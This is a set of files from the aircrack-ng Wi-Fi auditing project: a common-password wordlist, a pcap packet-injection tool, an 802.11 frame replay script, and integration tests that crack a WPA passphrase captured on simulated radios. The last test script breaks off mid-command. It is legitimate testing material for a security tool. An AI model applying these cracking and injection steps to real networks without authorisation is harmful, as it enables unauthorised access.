jesus
joseph
justin
miller
ncc1701d
pamela
picture
princess
rabbit
rocket
sierra
steven
success
tennis
victoria
willow
Abcdefg
Bubba
Charlie
Compute
Computer
Fuckyou
Hammer
Jeremy
Library
Password
Runner
Scooter
Shorty
Silver
Taylor
Tigers
Travis
Viper
digital
duke
freedom
gandalf
ginger
heather
iloveyou
jessica
killer
lizard
loser
mark
monica
oscar
peanut
pentium
peter
phoenix
piglet
rainbow
runner
sam
saturn
scott
skippy
startrek
temp
111111
123123
2welcome
Basebal
Batman
Brandy
Cassie
Dustin
Fishing
Harley
Hunter
Orlando
Peaches
Scotty
Steven
Voyager
andrea
ass
avalon
batman
brandon
bubba
casey
eagle
frog1
fuckme
info
love
marie
misty
natasha
newyork
nss
poohbear
rachel
turtle
walter
wizard
00000000
Daniel
Friday
Hornets
Joshua
Online
Rodman
Science
andy
asdf
august
austin
beavis
brenda
brian
butthead
charles
cheese
doctor
dolphin
flower
jonathan
junior
knight
marley
maverick
molson
morgan
mouse
nathan
nissan
rebecca
shalom
smile
sparky
stephen
whatever
william
696969
Anthony
Casper
Helpme
Jessie
Mother
Pebbles
Pentium
Secret
Sonics
Viking
Wolves
access
alpha
angel
ath
banane
bob
bond007
booger
boris
chicken
cookie
elephant
elvis
emily
eric
france
gizmo
goober
horses
island
jeffrey
jerry
joe
jupiter
justice
lisa
lucky
mindy
missy
muffin
music
protel
rose
sandy
sharon
snake
spider
spring
test1
tommy
toyota
vincent
wqsb
7777
8675309
Barney
Bowling
Camaro
Casio
Cookie
Froggy
Golfer
Junior
Knights
Lakers
Melissa
Patrick
Rachel
Raiders
Reggie
Shelly
Shithead
Speedy
Thunder
Windows
albert
alexande
america7
banana
barbara
barney
billy
biteme
black
chelsea
claire
connie
debbie
delta
dennis
eeyore
fishing
fucker
helpme
honda
indiana
jackson
jasmine
karen
kevin
lestat
logan
louis
louise
micro
mitchell
nirvana
none
paul
pepsi
perry
phantom
pierre
rascal
red
reddog
roger
sanjose1
simon
star
superman
tom
topgun
wilson
654321
Aikman
Animal
Avatar
Basketb
Gandalf
Hacker
Hendrix
Hunting
Iceman
Leslie
Letmein
Scooby
Snicker
System
Tazman
Tootsie
Turtle
abcd1234
adg
amber
anna
annie
arthur
benjamin
bill
boston
braves
buddy
cgj
control
coyote
daisy
dog
dorothy
douglas
edward
faith
family
fish
fisher
ford
freak1
friend
grant
iceman
jack
jeremy
jim
library
marcel
molly
mountain
nat
nicarao
olivia
pat
pearljam
pmc
ppp
prince
ryan
salmon
school
skeeter
special
spencer
stinky
sunflowe
teacher
test123
tony
travel
viper
wally
winston
winter
wolf
yellow
zephyr
ziggy
!@#$%^
1928
2112
90210
Arthur
Biteme
Blackie
Boomer
Bubbles
Carrie
Charles
Denise
Fender
Fluffy
Fucker
Fuckme
Golfing
Intel
Jasmine
Joseph
Knight
Lindsey
Loser
Orange
Peanut
People
Porsche
Rebecca
Rhonda
Sanders
Speech
Tanner
Teresa
Turbo
Volleyb
Wrestle
alaska
apples
asdfgh
bigdog
boss
casper
cat
chapman
chocolat
christin
classroo
cocacola
coke
cougar
cricket
crystal
danny
david1
dean
disney
einstein
elizabet
felix
fox
frank
giants
grace
gregory
hannah
hendrix
hola
howard
jake
janice
jesus1
julian
kelsey
kitten12
lacrosse
lakers
larry
leslie
marina
matt
melissa
millie
montana
moose
morris
orion
pantera
paris
piano
pizza
please
popcorn
q1w2e3
radio
sales
sammy
shelly
shithead
stanley
steelers
stimpy
student
susan
sydney
tammy
testtest
texas
thunder
tweety
victory
virginia
willie
willy
win95
zapata
1
Alaska
Alicia
Bailey
Banana
Beaner
Bigdog
Blazer
Blondie
Brandon
Center
Cheese
Chicken
Chris
Compaq
Dreams
Falcon
Family
Fisher
Flyers
Friend
FuckYou
Global
Gopher
Guitar
Gymnast
Hearts
Huskers
Kinder
Larson
Lestat
Lindsay
Minnie
Muffin
Pamela
Panther
Picard
Pyramid
Raider
Rainbow
Reddog
Sampler
Shannon
Shotgun
Sierra
Skeeter
Spanish
Stacey
Student
Trixie
Xanadu
Yankees
Zombie
a12345
a1b2c3d4
abc
adidas
alexis
angie
april
asdfjkl;
baby
betty
bilbo
bonnie
booboo
bradley
brooke
caitlin
carrie
chip
chris1
christy
cinder
claude
claudia
colorado
cowboys
curtis
daytek
donna
duck
dusty
eagle1
enigma
francis
francois
franklin
froggy
gabriel
ghost
gopher
grover
happy1
helen
henry
honey
horse
house
jackie
jean
jenny
joey
kelly
laura
lauren
lincoln
loveme
margaret
mary
max
mercedes
mercury
michel
midnight
mine
mirror
mozart
nicholas
nothing
oliver
packard
pass
peace
phil
porsche
psycho
pumpkin
punkin
puppy123
randy
remember
robin
rosebud
sadie
sampson
samson
samuel
simple
smiley
snowball
spike
starwars
stever
storm
sun
support
suzanne
sweetie
sweetpea
system
tamara
tech
teresa
terry
theresa
thumper
victor
vision
water
winner
xavier
yamaha
121212
ABC123
America
Arctic
Austin
Bonnie
Cheryl
Dorothy
Drizzt
Emmitt
Farmer
Flipper
Goldie
Goober
Griffey
Groovy
Hotdog
Jackson
Jeffrey
Jester
Jimbo
Johnny
Kristi
Lauren
Lizard
Louise
Lover
Montana
Murphy
NCC1701
PPP
Pacers
Packer
Patches
Peter
RedDog
Reebok
Rosebud
Sango
Shadows
Sharon
Skippy
Stanley
Startrek
Sunshin
Swimmer
TEACHERS
Tinman
Wildcat
William
Willie
Wilson
Yamaha
aaron
abigail
alice
allen
amour
animal
archie
bailey
basf
basketba
beaver
bingo
blazer
blonde
bullshit
business
caroline
cfj
chicago
clancy
class
cloclo
colleen
columbia
connect
country
demo
dixie
domino
donkey
dreamer
e
eagles
eddie
farmer
fgh
fire
flipper
flowers
floyd
fluffy
freddy
friends
frodo
frog
garden
global
golfer
grumpy
hansolo
hawk
health
heidi
help
holly
hoops
iguana
indigo
italia
jane
jasper
jessie
jewels
johnny
joker
judith
katherin
kids
kingfish
kristi
laurie
legend
lindsay
london
loveyou
lucy
mac
marc
marilyn
market
marlboro
marty
maryjane
matrix
maxwell
nancy
nascar
nelson
network
newcourt
newton
packers
panther
papa
parker
patricia
penguin
pickle
porsche9
rain
raven
robbie
robert1
rocky
roses
sabrina
sailing
sandra
science
scotty
seven
shoes
smiles
smokey
snickers
speedy
spooky
stephani
strat
stuart
sunny
sunset
telecom
temporal
tigers
time
tinker
tomcat
trebor
tristan
truck
video
viper1
visa
volvo
warren
weasel
webmaste
white
woody
xanadu
zaphod
!@#$%^&*
007
1022
13579
4444
666666
6969
Adidas
Asdfgh
Asshole
Awesome
Biology
Bond007
Booboo
Bradley
Buffalo
Calvin
Canada
Celtics
Chester
Colleen
Connie
Cooper
Cracker
Digital
Disney
Doobie
Dream
Dwight
Eatme
Farming
Florida
Flowers
Gizmo
Goalie
Golden
Gunner
Harvey
Homer
Jasper
Kristy
Krystal
Laser
Maddog
Marino
Marvin
Natasha
Nelson
October
Parker
Passwor
Petunia
Prince
Pumpkin
Qwert
Ranger
Sammie
Senior
Shirley
Slayer
Spunky
Tandy
Trouble
Vette
Warren
Wheels
Winter
Zxcvbnm
_
absolut
adam
adrian
alexandr
allo
alpine
anderson
athena
badger
beagle
beatles
belle
bitch
bluebird
bonjour
bulldog
bunny
californ
captain
carol
carole
cedic
chanel
chester1
chloe
coco
coltrane
compaq
compton
cooper
corona
cyclone
dancer
darwin
dawn
denise
derek
diablo
digital1
direct1
dodger
doogie
dookie
doom
dragon1
dreams
duckie
dylan
ellen
export
ferrari
ferret
firebird
forest
fuckoff
garfield
gateway
gold
goofy
grateful
guitar
gunner
heart
herbert
herman
hermes
history
houston
inside
ironman
isis
italy
jasmin
jeanne
julie
kathleen
keith
kermit
kimberly
king
koala
kristen
kristin
laser
leonard
lionking
macha
macintos
maddog
major
maxime
melanie
mexico
mikey
monet
monique
moon
mouse1
napoleon
ne1469
nellie
niners
olive
one
online
oxford
pacific
painter
panda
pandora
peaches
peewee
penelope
picasso
plato
pluto
police
popeye
portland
power
random
raymond
reality
renee
royal
running
salut
samantha
santa
sassy
scarlet
scorpio
scout
sergei
seven7
sexy
shark
sheba
sheena
sheila
shelby
simba
singer
skiing
snow
spanky
stargate
steele
stella
sunday
sunrise
sylvia
tara
tasha
techno
timothy
toby
today
training
trouble
tyler
unicorn
violet
walker
wayne
wendy
whisky
windsurf
winnie
wolves
xfiles
zebra
zxcvbnm
000000
007007
10sne1
1313
131313
1701d
1a2b3c
4runner
54321
Aaaaaa
Amiga
Angela
Animals
Archie
Badboy
Balls
Beaver
BigBird
Boner
Booger
Boston
Brandi
Brazil
Brenda
Button
COWBOY
Carol
Chiefs
Chipper
Chrissy
Coffee
Cougar
Country
Curtis
DRAGON
Dennis
Digger
Doctor
Firebird
Frankie
Gambit
Gemini
German
Giants
Grandma
Grover
Hanson
Hawkeye
Heidi
Hobbit
Hotrod
Howard
Iguana
Ironman
JSBach
Jackie
January
Jennifer
Joker
Lakota
Looney
Malibu
Masters
Michell
Mikey
Monster
OU812
Oliver
Paladin
Phillip
Pickle
Please
Psycho
Puppies
Racing
Rasta
Reality
Renee
Rosie
Russell
Skiing
Snowbal
Spider
Spring
Squirt
Studly
Stupid
Surfer
Sweets
Sydney
Tester
Thumper
Timothy
Violet
Walleye
Webster
Wizard
Zaphod
Zorro
Zxcvb
aaa
abcde
abcdefg
acura
alex1
allison
amy
anne
apache
apollo
apollo13
ariel
artist
asdfg
asdfjkl
attila
babylon5
bamboo
basket
beaner
bears
beer
benny
bernard
bertha
bigbird
bigred
bird33
birdie
blizzard
bluesky
bobby
bootsie
brewster
bright
bruce
brutus
bubba1
bubbles
buck
buffalo
butler
buzz
byteme
cactus
camera
candy
canon
cassie
catalog
cats
celica
celine
cfi
challeng
champion
cheryl
chico
christia
chuck
clark
college
conrad
cool
copper
courtney
craig
crapp
crawford
creative
crow
cruise
dance
danielle
darren
database
deadhead
december
deedee
deliver
detroit
dilbert
doc
dogbert
dominic
elsie
enter
entropy
etoile
europe
explorer
fireman
fish1
flamingo
flash
fletcher
flip
foxtrot
french1
gabriell
gaby
galaxy
galileo
garlic
gasman
gator
gemini
general
gerald
gilles
go
goforit
golden
gone
graymail
greenday
greg
gretzky
hacker
hal9000
harold
harrison
harry
harvey
hector
hell
home
homer
hootie
hotdog
ib6ub9
icecream
idiot
imagine
indian
insane
intern
ireland
irish
isabelle
jacob
jaguar
jason1
jenifer
jenni
jenny1
jensen
john316
judy
julie1
kelly1
kennedy
kevin1
kim
knicks
lady
lee
leon
lindsey
ljf
logical
lucky1
lynn
majordom
mariah
marine
mario
mariposa
martin1
math
maurice
me
memphis
metal
michael.
michele
minnie
mirage
mitch
modem
mom
moocow
ncc1701e
nebraska
nemesis
netware
news
nguyen
number9
open
opus
patches
penny
pete
petey
phish
photo
pierce
pomme
porter
psalms
puppy
pyramid
python
quality
qwaszx
qwert
raiders
raquel
robotech
ronald
rosie
russell
ruy
savage
scotch
scruffy
sean
seattle
shadow1
shanti
shirley
shorty
shotgun
skipper
slayer
smashing
snapple
sniper
snoopdog
snowman
sparrow
sports
sprite
spunky
stacey
star69
start
station
stealth
sunny1
super
surfer
target
taurus
teddy
teddy1
tester
testing
theboss
thunderb
tim
topcat
topher
trevor
tricia
trixie
tucker
vader
valerie
veronica
viking
voodoo
warcraft
warner
warrior
watson
webster
wesley
western
wheels
wilbur
williams
wisdom
wolf1
wolfgang
wrangler
xcountry
yankees
zachary
zeus
zombie
zorro
!@#$%^&
0007
0249
1225
1234qwer
14430
1951
1p2o3i
1qw23e
1sanjose
21122112
2222
369
5252
5555
5683
777
80486
888888
911
92072
99999999
@#$%^&
Action
Aggies
Albert
Alyssa
Andrea
Angela1
Author
Babies
Bananas
Barbara
Barbie
Basketba
Bastard
Beatles
Bigfoot
Blaster
Blowme
Bookit
Brasil
Broncos
Browns
Buddha
Butthead
Buttons
Cancer
Carlos
Champs
ChangeMe
Changeme
Chelsea
Chevy
Chevy1
Christ
Christop
Chucky
Cindi
Cleaner
Clover
Coolman
Copper
Cricket
Darwin
Death
Defense
Denver
Detroit
Dexter
Doggie
Doggy
Dookie
Drums
Edward
Elaine
Elvis
Espanol
Except
Football
Francis
Freedom
Frosty
Fubar
Garden
Garfield
Garrett
Gordon
Hamster
Hawaii
Hello
Herman
Hershey
History
Hockey1
Honda1
Isabelle
Jaeger
Jaguar
Jeanne
Jimbob
Junebug
Kathryn
Kayla
Killme
Kittens
Kombat
Kristen
Kristin
Lennon
Letter
Light
Little
Loveme
Marley
Marshal
Martha
Martin
Maveric
Maxwell
Merlin
Mittens
Morris
Nascar
Newton
Nissan
Number1
Packard
Pantera
Peewee
Penguin
Piglet
Popcorn
Popeye
Puckett
Raistlin
Raymond
Reader
Reading
Rebels
Redskin
Reefer
Retard
Ripper
Robbie
Ronald
Rooster
Roping
Royals
Russel
Samson
Sarah1
Scarlett
Service
Shooter
Sidney
Simple
Skater
Skidoo
Skinny
Smiles
Sniper
Special
Spirit
Sprite
Stimpy
Strider
Success
SunShine
Superman
Susan
Sweetie
Tamara
Tanker
Tardis
Tasha
Taurus
Theman
Theresa
Tiffany
Tomcat
Tractor
Trevor
Trucks
Trumpet
Vampire
Vanessa
Victoria
Warez
Warrior
Weezer
Welcome1
Whales
Whateve
Wicked
Willy
Woodland
Ziggy
a
abby
abcd
abcdef
action
active
advil
aeh
alfred
aliens
alison
alpha1
amanda1
amelie
andre
angels
angus
apple1
ariane
arizona
asdfghjk
aspen
asterix
awesome
aylmer
bach
barry
basil
baskeT
beanie
beautifu
benoit
benson
bernie
bfi
bigmac
bigman
binky
biology
bird
blondie
blowfish
bmw
bobcat
boogie
booster
boots
bozo
bridge
bridges
buffy
bull
bullet
butch
button
buttons
caesar
campbell
camping
canced
canela
cannon
cannonda
cardinal
carl
carlos
carolina
cascade
castle
catfish
cccccc
center
cesar
chance
chaos
charity
charlie1
charlott
cherry
chevy
china
chiquita
christop
church
clipper
cobra
concept
cookies
corrado
corwin
cosmos
cougars
cracker
cuddles
cutie
cynthia
cyrano
daddy
dan
dasha
dead
denali
depeche
design
deutsch
dexter
dgj
diana
diane
dickhead
director
dirk
dodgers
dollars
dolphins
don
doom2
doug
dougie
dragonfl
dude
dundee
e-mail
easter
eclipse
electric
elliot
energy
eugene
excalibu
express
fiona
fireball
first
fletch
flight
florida
fool
fountain
fozzie
frederic
frogs
front242
fugazi
fun
future
gambit
garnet
gary
genius
georgia
gibson
glenn
goat
goblue
gocougs
godzilla
gofish
gordon
grandma
graphic
gray
gretchen
groovy
guess
guido
guinness
h2opolo
hanna
hanson
happyday
hazel
hello1
homebrew
honda1
horizon
hornet
image
impala
informix
irene
isaac
jamaica
james1
jan
japan
jared
jazz
jeanette
jeff
jimbo
jkm
joanna
joel
johnson
jojo
jordan23
josh
josie
julia
justin1
kathy
katie
kenneth
khan
kingdom
kitty
kleenex
kramer
laddie
ladybug
lamer
larry1
law
ledzep
light
liverpoo
lloyd
looney
lorraine
lovely
lucas
lulu
magnum
mailer
mailman
malcolm
mantra
marcus
maria
mars
marvin
master1
mayday
mazda1
medical
megan
memory
meow
metallic
midori
mikael
mike1
miki
miles
million
mimi
minou
miranda
misha
mishka
mission
molly1
money1
monopoly
montreal
mookie
moomoo
moroni
mortimer
naomi
nautica
nesbitt
new
nick
niki
nikita
nimrod
nirvana1
norman
nugget
nurse
oatmeal
obiwan
october
olivier
oranges
orchid
pacers
packer
parrot
passion
paula
pearl
pedro
peggy
percy
petunia
philip
phoenix1
pinkfloy
pirate
pisces
planet
play
playboy
player
players
poiuyt
politics
polo
pookie1
praise
preston
prof
promethe
property
public
quebec
quest
qwerty12
racerx
racoon
rambo1
raptor
redrum
redwing
republic
research
reynolds
reznor
rhonda
ricky
river
robinhoo
rock
roman
roxy
roy
ruby
rufus
rugby
rusty
ruth
rux
safety
sailor
sally
sapphire
sarah1
sasha
saskia
sbdc
scarlett
scooby
scooter1
scorpion
scuba1
septembe
shawn
shelley
sherry
shit
skidoo
slacker
smiths
snuffy
soccer1
softball
sonny
space
spain
speedo
spitfire
ssssss
steph
sting1
stingray
stormy
strawber
sugar
sunbird
sundance
supra
surf
suzuki
sweety
swimming
sylvie
symbol
t-bone
tacobell
taffy
tango
tanya
tarzan
tattoo
tequila
test2
theatre
theking
tiffany
tigre
timber
tina
tintin
tootsie
toronto
tracy
trek
trident
trumpet
turbo
twins
user1
utopia
valentin
valhalla
vanilla
velvet
venus
vermont
vicky
volley
wanker
warriors
whitney
wolfMan
wolverin
wombat
wonder
wright
xxxx
yoda
yomama
young
yvonne
zenith
zeppelin
zhongguo
biscotte
PR0VIEW!
diction
dictionary
dictum |
|
C | aircrack-ng/test/pingreply.c | /* pingreply.c - Ping reply
*
* DESCRIPTION
*
* Replies to all ping requests. Useful for testing sniffing/injecting
* packets with airtun-ng.
*
* USAGE
*
* ./pingreply <iface>
*
* INSTALL
*
* cc -lpcap -o pingreply pingreply.c
*
* LICENSE
*
* Copyright (c) 2015, Jorn van Engelen <spamme@quzart.com>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice unmodified, this list of conditions, and the following
* disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <unistd.h>
#include <pcap.h>
#include <arpa/inet.h>
struct eth_hdr {
unsigned char dst[6];
unsigned char src[6];
unsigned short type;
};
struct ip_hdr {
unsigned char vhl;
unsigned char tos;
unsigned short length;
unsigned short id;
unsigned short off;
unsigned char ttl;
unsigned char proto;
unsigned short chksum;
unsigned char src[4];
unsigned char dst[4];
};
struct icmp_hdr {
unsigned char type;
unsigned char code;
unsigned short chksum;
unsigned short id;
unsigned short seq;
unsigned char data[];
};
struct eth_ip_icmp_reply {
struct eth_hdr eth;
struct ip_hdr ip;
struct icmp_hdr icmp;
};
pcap_t *p;
char errbuf[PCAP_ERRBUF_SIZE];
short internet_chksum( unsigned char *hdr, int len )
{
unsigned int sum = 0;
while ( len > 1 )
{
sum += * (unsigned short*) hdr;
hdr += 2;
len -= 2;
}
if ( len > 0 )
sum += * (unsigned char*) hdr;
while ( sum >> 16 )
sum = (sum >> 16) + (sum & 0xffff);
return ~sum;
}
void reply_icmp_echo(
const struct eth_hdr *eth,
const struct ip_hdr *ip,
const struct icmp_hdr *icmp,
int len)
{
unsigned char *ptr;
struct eth_ip_icmp_reply *reply;
reply = (struct eth_ip_icmp_reply*) calloc( sizeof(struct eth_ip_icmp_reply) + len, 1 );
assert( reply != NULL );
memcpy( reply->eth.src, eth->dst, 6 );
memcpy( reply->eth.dst, eth->src, 6 );
reply->eth.type = htons(0x0800);
reply->ip.vhl = 0x45;
reply->ip.length = htons(sizeof(struct ip_hdr) + sizeof(struct icmp_hdr) + len);
reply->ip.id = htons(0xCAFE);
reply->ip.ttl = 0x80;
reply->ip.proto = 0x01;
memcpy( reply->ip.src, ip->dst, 4 );
memcpy( reply->ip.dst, ip->src, 4 );
reply->icmp.type = 0x00;
reply->icmp.code = 0x00;
reply->icmp.id = icmp->id;
reply->icmp.seq = icmp->seq;
memcpy( reply->icmp.data, icmp->data, len );
reply->ip.chksum = internet_chksum( (unsigned char*) &(reply->ip), sizeof(struct ip_hdr) );
reply->icmp.chksum = internet_chksum( (unsigned char*) &(reply->icmp), sizeof(struct icmp_hdr) + len );
printf( "Sent icmp echo reply to: %i.%i.%i.%i.\n", ip->src[0], ip->src[1], ip->src[2], ip->src[3] );
if ( pcap_inject( p, reply, sizeof(struct eth_ip_icmp_reply) + len ) == -1 )
{
fprintf( stderr, "Could not inject packet: %s\n", pcap_geterr( p ) );
}
free( reply );
}
void receive_packet(
unsigned char *args,
const struct pcap_pkthdr *header,
const unsigned char *packet)
{
int len = header->caplen;
int ip_hdr_len;
const struct eth_hdr *eth;
const struct ip_hdr *ip;
const struct icmp_hdr *icmp;
len -= sizeof(struct eth_hdr);
if ( len < 0 )
return;
eth = (struct eth_hdr*) packet;
packet += sizeof(struct eth_hdr);
/* Packet must be IPv4 */
if ( ntohs(eth->type) != 0x0800 )
return;
if ( len < sizeof(struct ip_hdr) )
return;
ip = (struct ip_hdr*) packet;
if ( ntohs( ip->length ) != len )
return;
if ( ip->vhl >> 4 != 4 )
return;
ip_hdr_len = ( ip->vhl & 0x0F ) * 4;
if ( ip_hdr_len < sizeof(struct ip_hdr) )
return;
len -= ip_hdr_len;
if ( len < 0 )
return;
packet += ip_hdr_len;
/* Packet must be ICMP */
if ( ip->proto != 0x01 )
return;
len -= sizeof(struct icmp_hdr);
if ( len < 0 )
return;
icmp = (struct icmp_hdr*) packet;
packet += sizeof(struct icmp_hdr);
/* Packet must be echo request */
if ( ! ( icmp->type == 0x08 && icmp->code == 0x00 ) )
return;
usleep( 2000 );
reply_icmp_echo( eth, ip, icmp, len );
}
int main( int argc, char *argv[] )
{
struct bpf_program fp;
if ( argc != 2 )
{
fprintf( stderr, "Usage: pingrep <dev>\n" );
return 2;
}
p = pcap_open_live( argv[1], 1024, 1, 0, errbuf );
if ( p == NULL )
{
fprintf( stderr, "Could not open device %s: %s\n", argv[1], errbuf );
return 2;
}
if ( pcap_datalink( p ) != DLT_EN10MB )
{
fprintf( stderr, "Expected Ethernet from device %s.\n", argv[1] );
return 2;
}
if ( pcap_compile( p, &fp, "icmp[icmptype] = icmp-echo", 0, PCAP_NETMASK_UNKNOWN ) == -1 )
{
fprintf( stderr, "Could not parse filter: %s\n", pcap_geterr( p ) );
return 2;
}
if ( pcap_setfilter( p, &fp ) == -1 )
{
fprintf( stderr, "Could not install filter: %s\n", pcap_geterr( p ) );
return 2;
}
printf( "Receiving packets ...\n" );
pcap_loop( p, 0, receive_packet, NULL );
pcap_freecode( &fp );
pcap_close( p );
printf( "Done.\n" );
return 0;
} |
Python | aircrack-ng/test/replay.py | #!/usr/bin/env python
import sys
import pcapy
from scapy import *
from impacket.ImpactDecoder import *
try:
conf.verb=0
except NameError:
# Scapy v2
from scapy.all import *
conf.verb=0
if len(sys.argv) != 2:
print("Usage: ./replay.py <iface>")
sys.exit(1)
interface=sys.argv[1]
max_bytes = 2048
promiscuous = False
read_timeout = 100 # in milliseconds
packet_limit = -1 # infinite
pc = pcapy.open_live(interface, max_bytes, promiscuous, read_timeout)
def recv_pkts(hdr, data):
replay = True
if data[11] == "\xFF":
return
# separate ethernet header and ieee80211 packet
raw_header = data[:11] + "\xFF" + data[12:14]
header = Ether(raw_header)
try:
# end of separation
packet = Dot11(data[14:])
except struct.error:
# Ignore unpack errors on short packages
return
# manipulate/drop/insert dot11 packet
print(packet.summary())
# end of manipulation
# construct packet and replay
if replay == True:
data = header/packet
sendp(data, iface=interface)
pc.loop(packet_limit, recv_pkts) # capture packets |
Shell Script | aircrack-ng/test/test-airbase-ng-0001.sh | #!/bin/sh
# Airbase-ng WPA2 supplicant authentication
if test ! -z "${CI}"; then exit 77; fi
CHANNEL=1
SSID=thisrocks
# Load helper functions
. "${abs_builddir}/../test/int-test-common.sh"
# Check root
check_root
# Check all required tools are installed
check_airmon_ng_deps_present
is_tool_present wpa_supplicant
# Check for interfering processes
airmon_ng_check
# Cleanup
finish() {
cleanup
if [ -n "${AB_PID}" ]; then
is_pid_running "${AB_PID}"
[ $? -eq 1 ] && kill -9 "${AB_PID}"
fi
[ -n "${AB_TEMP}" ] && rm -f "${AB_TEMP}"
[ -n "${AB_PCAP}" ] && rm -f "${AB_PCAP}"
}
trap finish INT QUIT SEGV PIPE ALRM TERM EXIT
# Load mac80211_hwsim
load_module 2
# Check there are two radios
check_radios_present 2
# Get interfaces names
get_hwsim_interface_name 1
WI_IFACE=${IFACE}
get_hwsim_interface_name 2
WI_IFACE2=${IFACE}
# Put other interface in monitor mode
set_monitor_mode "${WI_IFACE2}"
[ $? -eq 1 ] && exit 1
set_interface_channel "${WI_IFACE2}" ${CHANNEL}
[ $? -eq 1 ] && exit 1
# Run airbase-ng in the background
AB_TEMP=$(mktemp -u)
"${abs_builddir}/../airbase-ng${EXEEXT}" \
-W 1 \
-Z 4 \
-e "${SSID}" \
-F "$(mktemp -u)" \
"${WI_IFACE2}" \
2>&1 >"${AB_TEMP}" \
&
AB_PID=$!
sleep 1
is_pid_running ${AB_PID}
if [ $? -eq 0 ]; then
echo "Airbase-ng process died"
exit 1
fi
# Grab airbase-ng pcap filename
AB_PCAP="$(${GREP} 'Created capture file' "${AB_TEMP}" | ${AWK} -F\" '{print $2}')"
# Set-up wpa_supplicant
PSK=password
ENCRYPT="CCMP"
cat >> "${TEMP_WPAS_CONF_FILE}" << EOF
network={
ssid="${SSID}"
psk="${PSK}"
proto=RSN
key_mgmt=WPA-PSK
group=${ENCRYPT}
pairwise=${ENCRYPT}
}
# Airbase-ng Test 1
EOF
# Set interface up
set_interface_channel "${WI_IFACE}" ${CHANNEL}
RET=$?
# Start wpa_supplicant
run_wpa_supplicant "${TEMP_WPAS_CONF_FILE}" "${WI_IFACE}"
if [ $? -eq 1 ] || [ ${RET} -eq 1 ]; then
exit 1
fi
# Wait for authentication then kill airbase-ng
sleep 8
kill -9 ${AB_PID}
# Check Airbase-ng output
CLIENT_CONNECT=$(${GREP} Client "${AB_TEMP}" | ${GREP} ${ENCRYPT} | wc -l)
if [ "${CLIENT_CONNECT}" -eq 0 ]; then
echo "Client failed to connect to AP - possibly incorrect encryption"
exit 1
fi
# Crack the capture
timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
-w "${abs_srcdir}/password.lst" \
-a 2 \
-e "${SSID}" \
-q \
"${AB_PCAP}" | \
${GREP} "KEY FOUND! \[ ${PSK} \]"
RET=$?
[ ${RET} -eq 1 ] && echo "Failed cracking passphrase"
# Cleanup
exit ${RET} |
Shell Script | aircrack-ng/test/test-airbase-ng-0002.sh | #!/bin/sh
# Airbase-ng WPA supplicant authentication
if test ! -z "${CI}"; then exit 77; fi
CHANNEL=1
SSID=thisrocks
# Load helper functions
. "${abs_builddir}/../test/int-test-common.sh"
# Check root
check_root
# Check all required tools are installed
check_airmon_ng_deps_present
is_tool_present wpa_supplicant
# Check for interfering processes
airmon_ng_check
# Cleanup
finish() {
cleanup
if [ -n "${AB_PID}" ]; then
is_pid_running "${AB_PID}"
[ $? -eq 1 ] && kill -9 "${AB_PID}"
fi
[ -n "${AB_TEMP}" ] && rm -f "${AB_TEMP}"
[ -n "${AB_PCAP}" ] && rm -f "${AB_PCAP}"
}
trap finish INT QUIT SEGV PIPE ALRM TERM EXIT
# Load mac80211_hwsim
load_module 2
# Check there are two radios
check_radios_present 2
# Get interfaces names
get_hwsim_interface_name 1
WI_IFACE=${IFACE}
get_hwsim_interface_name 2
WI_IFACE2=${IFACE}
# Put other interface in monitor mode
set_monitor_mode "${WI_IFACE2}"
[ $? -eq 1 ] && exit 1
set_interface_channel "${WI_IFACE2}" ${CHANNEL}
[ $? -eq 1 ] && exit 1
# Run airbase-ng in the background
AB_TEMP=$(mktemp -u)
"${abs_builddir}/../airbase-ng${EXEEXT}" \
-W 1 \
-z 2 \
-e "${SSID}" \
-F "$(mktemp -u)" \
"${WI_IFACE2}" \
2>&1 >"${AB_TEMP}" \
&
AB_PID=$!
sleep 1
is_pid_running ${AB_PID}
if [ $? -eq 0 ]; then
echo "Airbase-ng process died"
exit 1
fi
# Set-up wpa_supplicant
PSK=password
TEMP_WPAS_CONF=$(mktemp)
ENCRYPT="TKIP"
cat >> "${TEMP_WPAS_CONF_FILE}" << EOF
network={
ssid="${SSID}"
psk="${PSK}"
proto=WPA
key_mgmt=WPA-PSK
group=${ENCRYPT}
pairwise=${ENCRYPT}
}
# Airbase-ng Test 2
EOF
# Set interface up
set_interface_channel "${WI_IFACE}" ${CHANNEL}
[ $? -eq 1 ] && exit 1
# Start wpa_supplicant
run_wpa_supplicant "${TEMP_WPAS_CONF_FILE}" "${WI_IFACE}"
# Wait for authentication then kill wpa supplicant
sleep 6
kill_wpa_supplicant
# wait another 2 secs then kill airbase-ng
sleep 2
kill -9 ${AB_PID}
# Check Airbase-ng output
AB_PCAP="$(${GREP} 'Created capture file' "${AB_TEMP}" | ${AWK} -F\" '{print $2}')"
CLIENT_CONNECT=$(${GREP} Client "${AB_TEMP}" | ${GREP} ${ENCRYPT} | wc -l)
# Some cleanup
rm -f "${AB_TEMP}"
cleanup
if [ "${CLIENT_CONNECT}" -eq 0 ]; then
echo "Client failed to connect to AP - possibly incorrect encryption"
exit 1
fi
# Crack the capture
timeout 60 "${abs_builddir}/../aircrack-ng${EXEEXT}" \
${AIRCRACK_NG_ARGS} \
